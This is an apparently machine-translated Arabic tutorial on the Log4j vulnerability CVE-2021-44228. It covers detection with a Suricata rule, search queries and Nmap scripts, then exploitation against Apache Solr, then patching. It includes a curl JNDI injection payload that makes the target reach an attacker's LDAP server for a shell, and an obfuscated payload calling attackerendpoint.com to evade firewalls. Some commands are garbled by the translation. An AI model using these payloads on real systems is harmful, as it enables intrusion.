لقد أظهرنا اكتشاف واكتشاف ثغرة Apache Log4j الأخيرة CVE-2021-44228 بالإضافة إلى الاستغلال والتخفيف والتصحيح. لقد قمنا أيضًا بتغطية كيفية تصحيح ثغرة Log4j والتخفيف منها باستخدام إرشادات Apache الصادرة حديثًا. استخدمنا المادة من جربHackMe Log4j غرفة لعرض Log4j على Apache Solar.

الإصدارات المتأثرة: أباتشي Log4j2 <2.15.0

لدى Log4j تأثير سلبي على العديد من الشركات المصنعة والمكونات ومن بينها Google وApple. يمكنك العثور على القائمة الكاملة هنا

احصل على ملاحظات شهادة OSCP

 

كيفية اكتشاف ثغرة Log4j

يمكن اكتشاف Log4j عن طريق إجراء فحص منتظم على شبكتك التي تقوم بتشغيل المكونات باستخدام Java. هناك العديد من الطرق لاكتشاف ومعرفة ما إذا كانت شبكتك عرضة لـ Log4j.

يمكنك استخدام استعلام البحث هذا للبحث عن أي حمولة تحتوي على بحث JNDI الفهرس=* ${جني:*}

  • استخدام قواعد Suricate

المثال أدناه

تنبيه http أي -> $HOME_NET أي (رسالة: "FOX-SRT - استغلال - تمت ملاحظة طلب Apache Log4J RCE المحتمل (CVE-2021-44228)"؛ التدفق: تم إنشاؤه، to_server؛ المحتوى:"${jndi:ldap:// "; fast_pattern: فقط; /www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/); create_at 2021-12-10;

  • من خلال مقارنة تجزئات ملفات JAR وClass الضعيفة مع القائمة هنا
  • استخدام الماسحات الضوئية عبر الإنترنت في بيثون أو يذهب
  • استخدام جناح التجشؤ
  • استخدام محرك البرمجة النصية Nmap.

مثال على استخدام Nmap للكشف عن Log4j هو الأمر أدناه

nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org $PWD: هو الدليل الذي تقوم فيه بتخزين البرامج النصية nmap

من المهم قراءة dnslog.cn بعد الانتهاء من الفحص لتحديد الثغرة الأمنية. مثال الإخراج أدناه بفضل

nmap -T4 -v --script=$PWD/ scanme.nmap.org بدء تشغيل Nmap 7.92 ( https://nmap.org ) في 15-12-2021 الساعة 12:37 بتوقيت وسط أوروبا NSE: تم تحميل 5 نصوص برمجية للمسح الضوئي. NSE: المسح المسبق للبرنامج النصي. بدء NSE في الساعة 12:37 تم إكمال NSE في الساعة 12:37، وانقضى 0.53 ثانية نتائج البرنامج النصي قبل المسح: | dnslog-cn: | المجال: 2t722h.dnslog.cn |_ استرداد يدويًا: حليقة --ملف تعريف الارتباط "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php بدء فحص Ping في الساعة 12:37 المسح الضوئي scanme.nmap.org (45.33.32.156) [منفذان] تم الانتهاء من فحص Ping في الساعة 12:37، وانقضت 0.18 ثانية (إجمالي مضيف واحد) بدء تحليل DNS الموازي لمضيف واحد. الساعة 12:37 تم إكمال حل DNS الموازي لمضيف واحد. في الساعة 12:37، انقضت 1.18 ثانية لبدء فحص الاتصال في الساعة 12:37 المسح الضوئي scanme.nmap.org (45.33.32.156) [1000 منفذ] تم اكتشاف المنفذ المفتوح 80/tcp على 45.33.32.156 اكتشاف المنفذ المفتوح 53/tcp على 45.33.32.156 تم اكتشاف المنفذ المفتوح 22/tcp بتاريخ 45.33.32.156 الإحصائيات: 0:00:23 انقضى؛ لم يتم إكمال 0 مضيف (1 لأعلى)، 1 يخضع لتوقيت فحص Connect Scan: تم الانتهاء من حوالي 56.00%؛ ETC: 12:37 (0:00:16 متبقي) تم اكتشاف المنفذ المفتوح 9929/tcp على 45.33.32.156 تم اكتشاف المنفذ المفتوح 31337/tcp على 45.33.32.156 اكتمل فحص الاتصال في الساعة 12:37، وانقضت 37.06 ثانية (إجمالي 1000 منفذ) NSE : مسح البرنامج النصي 45.33.32.156. بدء NSE في الساعة 12:37 تم إكمال NSE في الساعة 12:37، تقرير فحص Nmap المنقضي لمدة 6.19 ثانية لـ scanme.nmap.org (45.33.32.156) المضيف جاهز (زمن الوصول 0.18 ثانية). غير معروض: 995 منافذ TCP مغلقة (تم رفض الاتصال) PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 80/tcp open http 9929/tcp open nping-echo 31337/tcp open نتائج البرنامج النصي Elite Host: | dnslog-cn: | قائمة المضيفين الذين تم الرد عليهم: [] | استرداد يدويًا: cur --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php |_ إذا لم تكن القائمة فارغة، فتحقق من المضيفين لأنهم من المحتمل أن يكونوا عرضة للخطر NSE: Script Post-scanning. بدء NSE في الساعة 12:37 تم إكمال NSE في الساعة 12:37، وانقضى 0.50 ثانية نتائج البرنامج النصي بعد المسح: | dnslog-cn: | قائمة المضيفين الذين تم الرد عليهم: [] | استرداد يدويًا: cur --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php |_ إذا لم تكن القائمة فارغة، فتحقق من الأجهزة المضيفة لأنها من المحتمل أن تكون معرضة للخطر اقرأ ملفات البيانات من: /usr/local/bin/ ../share/nmap تم إنجاز Nmap: تم فحص عنوان IP واحد (مضيف واحد) في 46.11 ثانية

كيفية استغلال ثغرة Log4j

باختصار، يتم استغلال ثغرة Log4j من خلال جعل المشكلة المستهدفة عبارة عن وسيلة شرح LDAP إلى خادم إحالة LDAP من جانبك. سيقوم خادم إحالة LDAP بإعادة توجيه هذا الاستدعاء إلى خادم الويب الذي يجب أن يعمل من جانبك والذي سيخدم استغلال Java والذي بمجرد تنفيذه على الهدف سيحصل على وصول shell المهاجم إلى الهدف.

فيما يلي الحمولات التي يمكنك إضافتها إلى طلبات http الخاصة بك.

حليقة 'http://target-ip:8983/solr/admin/cores?foo=$\{jndi:ldap://your-ip:1389/Log4j\}'

الحمولة أعلاه على افتراض أنك تختبر Apache solr. إذا كنت تختبر خط إنتاج آخر من Apache، فستحتاج إلى تغيير مسار عنوان URL ولكن جزء الحمولة يظل كما هو.

كيفية تجاوز جدران حماية تطبيقات الويب

إذا كنت ترغب في اختبار عناصر التحكم الأمنية الموجودة لديك مقابل Log4j، فيمكنك تشفير حمولة Log4j الخاصة بك مثل الحمولة النافعة أدناه

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/

كيفية التخفيف من ثغرة Log4j وتصحيحها

يمكن التخفيف من ثغرة Log4j عن طريق إضافة خاصيتين للنظام تعملان على تعطيل عمليات بحث JNDI. قم بتعيين الخصائص أدناه على TRUE على وجه التحديد

log4j2.formatMsgNoLookups
LOG4J_FORMAT_MSG_NO_LOOKUPS

لتصحيح الثغرة الأمنية Log4j، قم بالتحديث إلى الإصدار 2.16.0. استبدل ملفات الجرة الأساسية بملفات الجرة الموجودة على نظامك. يزور صفحة تحميل أباتشي لاسترداد أحدث إصدار من Log4j.

لمزيد من التفاصيل حول ما ورد أعلاه، شاهد مقاطع الفيديو الإرشادية أدناه

https://www.youtube.com/watch?v=Zf2dZkaeiKE

https://www.youtube.com/watch?v=5Icz-YWhQpk

https://www.youtube.com/watch?v=5Icz-YWhQpk
عن المؤلف

أقوم بإنشاء ملاحظات حول الأمن السيبراني وملاحظات التسويق الرقمي والدورات التدريبية عبر الإنترنت. أقدم أيضًا استشارات التسويق الرقمي بما في ذلك، على سبيل المثال لا الحصر، تحسين محركات البحث وإعلانات Google وMeta وإدارة CRM.

عرض المقالات